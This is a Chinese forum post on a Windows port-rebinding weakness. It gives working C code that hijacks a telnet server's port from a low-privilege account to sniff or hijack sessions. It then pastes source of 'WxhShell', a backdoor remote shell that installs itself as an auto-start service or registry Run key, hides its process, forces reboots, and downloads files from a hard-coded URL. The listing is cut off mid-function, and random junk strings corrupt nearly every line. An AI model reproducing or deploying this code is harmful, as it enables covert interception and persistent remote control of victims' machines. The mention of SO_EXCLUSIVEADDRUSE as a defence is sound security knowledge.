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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ^\}qq>_  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); qZd*'ki<  
~F,~^r!Jtu  
  saddr.sin_family = AF_INET; b? ); D  
eAlOMSL\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); aC,adNub  
D;R~!3f./b  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wMVUTm  
23?u_?+4i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q/b+V)V  
e8vy29\S  
  这意味着什么?意味着可以进行如下的攻击: UePkSz9EU  
^\ [p6>  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E f\|3D_  
vfkF@^D  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *Ypn@YpSp  
=o 9s?vOJ  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;^ME  
5SY%B#;5G  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  => (g_\  
F*KQhH7Gf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 &Sd5]r@+  
`]5qIKopL  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 )gdeFA V  
h?xgOb!4  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 . Vb|le(7  
F+hV'{|w`  
  #include )-4c@  
  #include :`N&BV  
  #include hQ|mow@Zmz  
  #include    _mqU:?Q5  
  DWORD WINAPI ClientThread(LPVOID lpParam);   FDl/7P`b(  
  int main() @6 "MhF  
  { 76w[X=Fv  
  WORD wVersionRequested; N?qETp-:  
  DWORD ret; rnK]3Ust  
  WSADATA wsaData; 0T`Qoo>u  
  BOOL val; q1VKoKb6\:  
  SOCKADDR_IN saddr; #f#6u2nF\  
  SOCKADDR_IN scaddr; |XB<vj07G  
  int err; x"z\d,O%W  
  SOCKET s; B!+c74  
  SOCKET sc; J2Dn  
  int caddsize; Dl/ C?Fll  
  HANDLE mt; pb97S^K[  
  DWORD tid;   4#(/{6J  
  wVersionRequested = MAKEWORD( 2, 2 ); Iy_5k8 ]  
  err = WSAStartup( wVersionRequested, &wsaData ); &oMEz 0  
  if ( err != 0 ) { 7]rIq\bM  
  printf("error!WSAStartup failed!\n"); F${sEtH  
  return -1; xo@1((|z  
  } ya2sS9^T[  
  saddr.sin_family = AF_INET; 4 ?BQ&d  
   JzEg`Sn^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 }5fd:Bm;  
bhUE!h<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); {qw'gJmX  
  saddr.sin_port = htons(23); YW7w>}aW  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RJ?)O#}  
  { +k6` tl~*  
  printf("error!socket failed!\n"); 3N >V sl  
  return -1; !PIg ,  
  } 7Q!ksp  
  val = TRUE; - egTZW-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B*G]Dr)e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)  (7X  
  {  8~T}BC  
  printf("error!setsockopt failed!\n"); c%5P|R~g]p  
  return -1; le^Fik   
  } L$Z!  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; "vk]y  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 :NLY;B`  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Ho(M O!(  
|~A*?6:@  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $x }R2  
  { /'8%=$2Kw  
  ret=GetLastError(); qD%88c)g  
  printf("error!bind failed!\n"); i3 XtrP""  
  return -1; Q7u|^Gu,5  
  } npeL1zO-$  
  listen(s,2); [`tOhL  
  while(1) GQg 2!s(  
  { *ssw`}yE'  
  caddsize = sizeof(scaddr); kQU4s)J  
  //接受连接请求 g Nz  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~V(>L=\V;  
  if(sc!=INVALID_SOCKET) <nJGJ5JJ  
  { mqeW,89  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,w"cY?~<  
  if(mt==NULL) Sy?^+JdM/  
  { trwo(p  
  printf("Thread Creat Failed!\n"); c2V_|oL  
  break; )Fd)YJVR  
  } ]pNM~,  
  } oBmv^=cH  
  CloseHandle(mt); yVzV]&k  
  } &H+ wzx<  
  closesocket(s); o?O ZsA  
  WSACleanup(); I!F&8B+|  
  return 0; s]yZ<uA  
  }   R:P),  
  DWORD WINAPI ClientThread(LPVOID lpParam) 4grV2xtX  
  { 3K(/=  
  SOCKET ss = (SOCKET)lpParam; v$`3}<3-  
  SOCKET sc; 6!)hl"  
  unsigned char buf[4096]; $ ^)g,  
  SOCKADDR_IN saddr; 0R unex[  
  long num; )%/ Ni^  
  DWORD val; "o%okN  
  DWORD ret; :hO B  
  //如果是隐藏端口应用的话,可以在此处加一些判断 y<gRl/e  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '3^_:E5y  
  saddr.sin_family = AF_INET; %dw0\:P?Q  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); jB -A d8  
  saddr.sin_port = htons(23); D7R;IA-w  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) % A 5s?J?  
  { fC"? r6d  
  printf("error!socket failed!\n"); <> HI(6\@Z  
  return -1; ,P`:`XQ>_B  
  } [)}`w;#  
  val = 100; UptKN|S&V  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Fu?_<G%Ynp  
  { eOVln1a  
  ret = GetLastError(); c&#Q`m  
  return -1; s'/_0  
  } /hg^hF  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) J}Z\I Y,  
  { uYFy4E3  
  ret = GetLastError(); JWu0VLo  
  return -1; 0(5qVJ12  
  } XR=ebl  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 5a6d3u/  
  { !*^+7M  
  printf("error!socket connect failed!\n"); e}gGl<((g  
  closesocket(sc); (CDh,ZN;|  
  closesocket(ss); REc90v2"  
  return -1; Aa-OMo;~  
  } /5 KY6XxR  
  while(1) oeVI 6-_S  
  { rf/]VAK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'D+njxCk.A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 $XyDw|z[  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s Wj:m)  
  num = recv(ss,buf,4096,0); {o'(_.{  
  if(num>0) ]q #"8 =  
  send(sc,buf,num,0); CC6]AM(i  
  else if(num==0) 3kr. 'O  
  break; "V:RKH`  
  num = recv(sc,buf,4096,0); ZDK+>^A)  
  if(num>0) q.hpnE~#lh  
  send(ss,buf,num,0); W)2k>cS  
  else if(num==0) KVC18"|f  
  break; 4\U"e*  
  } 9nd,8Nji  
  closesocket(ss); N+UBXhh  
  closesocket(sc); 4fL>Ou[YuX  
  return 0 ; \J~@r1  
  } 7CU<R9Kl  
BMzS3;1_  
d^Cv9%X  
========================================================== &x.5TDB>%  
.4z_ohe  
下边附上一个代码,,WXhSHELL ^6UE/4x!y  
pmUC4=&e  
========================================================== % Q93n {?  
,=u!hg  
#include "stdafx.h" yBqKldl  
>U:.5Tch'V  
#include <stdio.h> /z1-4:^`A[  
#include <string.h> *6(/5V  
#include <windows.h> [ { F;4> g  
#include <winsock2.h> V[* <^%  
#include <winsvc.h> ~c,+)69"T  
#include <urlmon.h> /u'V>=D;f  
{f6~Vwf  
#pragma comment (lib, "Ws2_32.lib") gE&83i"  
#pragma comment (lib, "urlmon.lib") & @ $D(  
1VXn`O?LW  
#define MAX_USER   100 // 最大客户端连接数 ]|Iczg-  
#define BUF_SOCK   200 // sock buffer #9(iu S+BU  
#define KEY_BUFF   255 // 输入 buffer ;|vn;s/  
GQ9H>Ssz  
#define REBOOT     0   // 重启 !J }Q%i  
#define SHUTDOWN   1   // 关机 {us#(4O  
9Kc;]2m  
#define DEF_PORT   5000 // 监听端口 meD?<g4n~"  
s9b+uUt%  
#define REG_LEN     16   // 注册表键长度 avMre_@V  
#define SVC_LEN     80   // NT服务名长度 ti ic>j\D  
. P! pC  
// 从dll定义API F PAj}as  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p?<T _9e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); x]"N:t  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L# .vbf  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); l\bgp3.+  
CDFX>>N  
// wxhshell配置信息 - [vH4~  
struct WSCFG { 2,6|l.WFpE  
  int ws_port;         // 监听端口 rV/! VJ6x  
  char ws_passstr[REG_LEN]; // 口令 %\ !3tN  
  int ws_autoins;       // 安装标记, 1=yes 0=no V*+Z=Y'  
  char ws_regname[REG_LEN]; // 注册表键名 IDt7KJ@hc  
  char ws_svcname[REG_LEN]; // 服务名 @ ojV8  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 csv;u'  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 u3vw[k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mm`yu$9gbP  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ESY\!X:|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" U'xmn$ O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z=144n 1  
D0p>Q^w  
}; JN<u4\e{-&  
X./7b{Pax  
// default Wxhshell configuration &Y8S! W@4  
struct WSCFG wscfg={DEF_PORT, Z2{G{]EV(  
    "xuhuanlingzhe", G4K3qD#+H  
    1, \ci[<CP  
    "Wxhshell", =(as{,j  
    "Wxhshell", D"s ]dQ$r  
            "WxhShell Service", }C{wGK+o[  
    "Wrsky Windows CmdShell Service", -]Q6Ril  
    "Please Input Your Password: ", Xa=oEG  
  1, I#:4H2H6  
  "http://www.wrsky.com/wxhshell.exe", -*0U&]T  
  "Wxhshell.exe" 5PT*b}g@  
    }; 5cSqo{|En  
5m a(~5  
// 消息定义模块 }Lb[`H,}A  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~i9'9PHX@  
char *msg_ws_prompt="\n\r? for help\n\r#>"; `^CIOCK%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; OR-fC  
char *msg_ws_ext="\n\rExit."; /U,;]^  
char *msg_ws_end="\n\rQuit."; \Q MRuR.  
char *msg_ws_boot="\n\rReboot..."; @]:GTrs  
char *msg_ws_poff="\n\rShutdown..."; ^U{SUWl  
char *msg_ws_down="\n\rSave to "; j |:{ B  
,wH]|`w  
char *msg_ws_err="\n\rErr!";  5wy3C  
char *msg_ws_ok="\n\rOK!"; $r/tVu2!W  
F */J`l  
char ExeFile[MAX_PATH]; #BwkbOgr  
int nUser = 0; eQ eucmQd{  
HANDLE handles[MAX_USER]; aiwKkf`\  
int OsIsNt; J4^aD;j  
]w9\q*S]  
SERVICE_STATUS       serviceStatus; De:| T8&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; HF]|>1WV[  
}>~]q)]  
// 函数声明 LRmH@-qP  
int Install(void); Jhr3[A  
int Uninstall(void); ;=E!xfp5U  
int DownloadFile(char *sURL, SOCKET wsh); LHgEb9\Q  
int Boot(int flag); nv2p&-e+  
void HideProc(void); ]='zY3  
int GetOsVer(void); D eM/B5qw  
int Wxhshell(SOCKET wsl); Kv>P+I'|r  
void TalkWithClient(void *cs); @vkO(o  
int CmdShell(SOCKET sock); =S}SZYw l  
int StartFromService(void); `l`)Cs;a  
int StartWxhshell(LPSTR lpCmdLine); Ld:U~M-  
! 6: X]  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); nkTu/)or  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); rIZ^ix-N  
).9m6.%Uk  
// 数据结构和表定义 -jQM h  
SERVICE_TABLE_ENTRY DispatchTable[] = 4 .d~u@=  
{ V /,F6  
{wscfg.ws_svcname, NTServiceMain}, u40<>A  
{NULL, NULL} f" g-Hbl5  
}; X) xeq  
4n, >EA85  
// 自我安装 q, XRb  
int Install(void) `oGL==  
{ M*lCoJ  
  char svExeFile[MAX_PATH]; =^S1+B MY-  
  HKEY key; w{5v*SHl}`  
  strcpy(svExeFile,ExeFile); %XAF"J  
3zuYN-;  
// 如果是win9x系统,修改注册表设为自启动 jK9#. 0  
if(!OsIsNt) { a!H t81gj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7,&M6<~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); { x/~gp  
  RegCloseKey(key); ;7w4BJcq']  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rq_0"A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [,As;a*o  
  RegCloseKey(key); LP- _i}Kq  
  return 0; i*ErxWzu  
    } 68-2EWq  
  } l#k&&rI5x.  
} 'n4$dv% q  
else { X4Y!Z/b  
T?V!%AqY:  
// 如果是NT以上系统,安装为系统服务 t }q \.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AI\|8[kf0  
if (schSCManager!=0) we;QrS(Hi  
{ c&a.<e3mL  
  SC_HANDLE schService = CreateService b?{\t;  
  ( < k?jt  
  schSCManager, ?kKr/f4N  
  wscfg.ws_svcname, EsKOzl[c:  
  wscfg.ws_svcdisp, Hklgf  
  SERVICE_ALL_ACCESS, >%{H>?Hn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , UUaC@Rs2  
  SERVICE_AUTO_START, ud,=O X q  
  SERVICE_ERROR_NORMAL, 1^_V8dm)  
  svExeFile, yV/A%y-P  
  NULL, C)xM>M_CB  
  NULL, [/IN820t  
  NULL, yEB1gYJB  
  NULL, MclW!CmJ  
  NULL rwSmdJ~  
  ); 5svM3  #  
  if (schService!=0) Ir :y#  
  { .P5OUK  
  CloseServiceHandle(schService); %AnqT|\#,  
  CloseServiceHandle(schSCManager); 1aBQ.-E-  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;>Q.r{P  
  strcat(svExeFile,wscfg.ws_svcname); 8-cCWo c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZI/Ia$O  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); oQ"J>`',  
  RegCloseKey(key); ~|5B   
  return 0; #<EMG|&(  
    } qVMBZ\`Qm  
  } bL9vjD'}  
  CloseServiceHandle(schSCManager); L>.* ^]  
} *Y/}E X! F  
} 7t~12m8x  
1]% ]"JbV  
return 1; (Ceq@eAlT  
} rVF7!|&  
HyKv5S$  
// 自我卸载 0JS#{EDh+  
int Uninstall(void) Gbrc!3K2  
{ gyf9D]W  
  HKEY key; T\b-<Xle  
hX&Jq%{oa  
if(!OsIsNt) { UK!PMkX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ti!<{>  
  RegDeleteValue(key,wscfg.ws_regname); g6p:1;Evf  
  RegCloseKey(key); n 0rAOkW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { H". [&VP5Z  
  RegDeleteValue(key,wscfg.ws_regname); gUtxyW  
  RegCloseKey(key); `@)>5gW&p  
  return 0; O|I)HpG;  
  } E/IoYuB  
} +xG  
} ])3(@.  
else { lPO +dm  
|];f?1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); vn Ol-`Z ~  
if (schSCManager!=0) W34_@,GD  
{ .&2Nm&y$ K  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); qnCJrY6]  
  if (schService!=0) Lk>o`<*  
  { ~"8D]  
  if(DeleteService(schService)!=0) { 3L1MMUACL  
  CloseServiceHandle(schService); !5zDnv  
  CloseServiceHandle(schSCManager); 2=V~n)'a  
  return 0; $$f89, h  
  } a7Yz X5n  
  CloseServiceHandle(schService); {$fd?| 9h  
  } l`k""f69W  
  CloseServiceHandle(schSCManager); pas^FT~  
} |O4LR,{G.w  
} rf=ndjrH  
U+2U#v=<  
return 1; tTcff9ee  
} n1J;)VyR  
}$E341@  
// 从指定url下载文件 =s5g9n+7  
int DownloadFile(char *sURL, SOCKET wsh) ;VW->i a6  
{  ; V)jC  
  HRESULT hr; $3c9iVK~_  
char seps[]= "/"; o7=#ye&P  
char *token; aTU[H~dTU  
char *file; N6UPD11}6  
char myURL[MAX_PATH]; ` 5lW  
char myFILE[MAX_PATH]; @:%p#$V  
cf`g.9pjlx  
strcpy(myURL,sURL); _ISaO C{2-  
  token=strtok(myURL,seps); R+b~m!5 8  
  while(token!=NULL) yi&6HNb  
  { 5R}K8"d  
    file=token; m]D3ec\K'  
  token=strtok(NULL,seps); 8K@>BFk1.  
  } w8iXuRv  
/*kc|V  
GetCurrentDirectory(MAX_PATH,myFILE); N.D7  
strcat(myFILE, "\\"); ^<OcbOn;O  
strcat(myFILE, file); .4O~a  
  send(wsh,myFILE,strlen(myFILE),0); "HwSW4a]  
send(wsh,"...",3,0); 5 ^867  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7I4<Dj  
  if(hr==S_OK) UEeq@ot/4  
return 0; W:hg*0z-*  
else XT` 2Z=  
return 1; M,we9];N  
Q@0Zh, l  
} 3]wV 1<K  
KJ#SE|  
// 系统电源模块 V7(-<})8  
int Boot(int flag) wS+ekt5  
{ pgipT#_K  
  HANDLE hToken; ?(R !BB  
  TOKEN_PRIVILEGES tkp; b9RJ>K  
+Z=%4  
  if(OsIsNt) { + J` Qv,0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (\M#Ay t)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Mfinh@K,  
    tkp.PrivilegeCount = 1; l?<DY$H 0  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 'dvi@Jx  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); J|=0 :G  
if(flag==REBOOT) { 5`\"UC7?%  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /hp [ +K  
  return 0; %Kzu&*9Hb  
} Zgw4[GpL  
else { LTWiCI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^Gwpx +  
  return 0; &qyXi[vw  
} U+-R2w]#q_  
  } qe2@bG%2+F  
  else { /CXQ&nwY9=  
if(flag==REBOOT) { <IO@Qj1*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) S;iJQS   
  return 0; TD.t)  
} )o`[wq  
else { ~i UG24v  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UZRN4tru6  
  return 0; z2~\ b3G  
} d J.up*aR  
} P{+,?X\  
 WJTc/  
return 1; BT^HlW<  
} y&L Lx[8 ^  
8e"MP\0V  
// win9x进程隐藏模块 1YScZ  
void HideProc(void) Nh[H[1"J  
{ SQT]'  
l1%ubu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MGLcM&oR  
  if ( hKernel != NULL ) rH$M6S  
  { @~&1!  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); b ,e"x48q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Aaug0X  
    FreeLibrary(hKernel); S{jm4LZ  
  } i6P'_  
p735i`8  
return; t03T1.:(Mg  
} WP5Vev9*+  
e(H{C  
// 获取操作系统版本 X:mm<4  
int GetOsVer(void) oer3DD(  
{ I(uM`g  
  OSVERSIONINFO winfo; +:3s f%0  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =wznkqyhi  
  GetVersionEx(&winfo); !CUM*<iV  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xV"~?vD  
  return 1; 8lFYk`|g  
  else s1bb2R  
  return 0; uaqV)H  
} w*\JA+  
nm,(Wdr  
// 客户端句柄模块 &mkL4 jXG  
int Wxhshell(SOCKET wsl) ,wZq ~; 2  
{ 4ufT-&m};s  
  SOCKET wsh; *nB-] w/  
  struct sockaddr_in client; "#P#;]\`  
  DWORD myID; tQE<'94A  
"2ZuI; w  
  while(nUser<MAX_USER) L| ]fc9W:  
{ 2"EaF^?\  
  int nSize=sizeof(client); -ND1+`yD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !@>q^_Gez  
  if(wsh==INVALID_SOCKET) return 1; nCDG PzJ  
a y$CUw  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pfQ3Y$z  
if(handles[nUser]==0) YBL.R;^v  
  closesocket(wsh); Ac'pu,v  
else gjzU%{T ?  
  nUser++; ',!>9Dj  
  } r0s(MyI  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (Rsf;VPO  
{wD:!\5  
  return 0; e"|ZTg+U  
} i,2eoM)FB  
:cKdl[E4z  
// 关闭 socket { g4`>^;  
void CloseIt(SOCKET wsh) 9B/iQCFtj$  
{ q;.LK8M  
closesocket(wsh); 45H9pY w  
nUser--; Y/T-2)D  
ExitThread(0); =w7+Yt  
}  \|C*b<  
T0N6k acl  
// 客户端请求句柄 q<[o 4qY  
void TalkWithClient(void *cs) b+$E*}  
{ aH\A  
ko"xR%Q  
  SOCKET wsh=(SOCKET)cs; (5 e4>p&+  
  char pwd[SVC_LEN]; gF:| j(  
  char cmd[KEY_BUFF]; M7{_"9X{  
char chr[1]; 8On MtP  
int i,j; ?8FJMFv;4%  
fo~>y  
  while (nUser < MAX_USER) { ~Rw][Ys  
k\Y*tY#2  
if(wscfg.ws_passstr) { "sT)<Wc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  v> s,*  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4'"WD0  
  //ZeroMemory(pwd,KEY_BUFF); @U:PXCvh  
      i=0; vXg^K}a#  
  while(i<SVC_LEN) { _<'?s>(U'  
T1%}H3  
  // 设置超时 xT-`dS0u  
  fd_set FdRead; ^O!;KIe{g  
  struct timeval TimeOut; TLq^5,qG  
  FD_ZERO(&FdRead); 6?a z  
  FD_SET(wsh,&FdRead); S R s  
  TimeOut.tv_sec=8; .\ :MB7p  
  TimeOut.tv_usec=0; tAkv'.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^91Ae!)d  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); na@Go@q  
DGg1TUE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `6(Zc"/ \m  
  pwd=chr[0]; |Mgzb0_IiQ  
  if(chr[0]==0xd || chr[0]==0xa) { '7g]@Q7  
  pwd=0; z:=E- +  
  break; :<HLw.4O  
  } `dhBLAt  
  i++; YMVmpcz  
    } ;rV+eb)I  
_{n4jdw%(  
  // 如果是非法用户,关闭 socket ^oR qu  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4'td6F  
} & Zjs  
'K\H$<CJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g_rk_4]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Eqi;m,)  
5s@xpWVot  
while(1) { sRZ?Ilua6  
 FL b  
  ZeroMemory(cmd,KEY_BUFF); g_0| `Sm  
u8gqWsvruM  
      // 自动支持客户端 telnet标准   0`Uw[Er&  
  j=0; =Y*@8=V  
  while(j<KEY_BUFF) { >M0^R} v  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DXQ]b)y+N  
  cmd[j]=chr[0]; c}s#!|E0v  
  if(chr[0]==0xa || chr[0]==0xd) { dH'02[;  
  cmd[j]=0; ZQn>+c2%!  
  break; LW#U+bv]Dq  
  } +S'm<}"1  
  j++; 8_pyfb  
    } nJ$2RN  
TpI8mDO\W  
  // 下载文件 C-g,uARX(r  
  if(strstr(cmd,"http://")) { Z<QNzJ D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pH(X;OC 9S  
  if(DownloadFile(cmd,wsh)) s p+'c;a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jp|eKZ  
  else %Y,Ru)5}  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E)wf'x  
  } PXML1.r$Q  
  else { e,d}4 jy  
@|s$ :;(=  
    switch(cmd[0]) { :yTr:FoF  
  }R%*J  
  // 帮助 5,-:31(j\  
  case '?': { YW"uC\kg|  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'Ydr_Ses  
    break; JSID@ n<b?  
  } *IIA"tC  
  // 安装 )2#q i/  
  case 'i': { &%g$Bi,G  
    if(Install()) #XG3{MGX[  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R / ND f`  
    else A~X\ dcn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); f'*/IG  
    break; (?TK P 7  
    } /F46Ac}I  
  // 卸载 <H{K&,Z(ZM  
  case 'r': { :*^aSPlV  
    if(Uninstall()) A%x0'?GU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FHEP/T\5  
    else 3177R>0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mwsdl^c  
    break; apt$e$g  
    } :X:s'I4J D  
  // 显示 wxhshell 所在路径 Bsha)<  
  case 'p': { @/:7G.  
    char svExeFile[MAX_PATH]; /t! 5||G  
    strcpy(svExeFile,"\n\r"); An^)K  
      strcat(svExeFile,ExeFile); qM6hE.J   
        send(wsh,svExeFile,strlen(svExeFile),0); !\'H{,G  
    break; :{VXDT"  
    } i7cUp3  
  // 重启 *e<}hm Dr  
  case 'b': { %nG>3.%  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;$e)r3r`LV  
    if(Boot(REBOOT)) e\^}PU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G!wb|-4<$  
    else { 6b$C/  
    closesocket(wsh); `)4v Q+A>  
    ExitThread(0); (h= ]Ox  
    } a)c;z@r  
    break; =f [/Pv  
    } ^q#[oO  
  // 关机 2,^ > lY  
  case 'd': { U_;="y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); -7'|&zP  
    if(Boot(SHUTDOWN)) X Q CE`m  
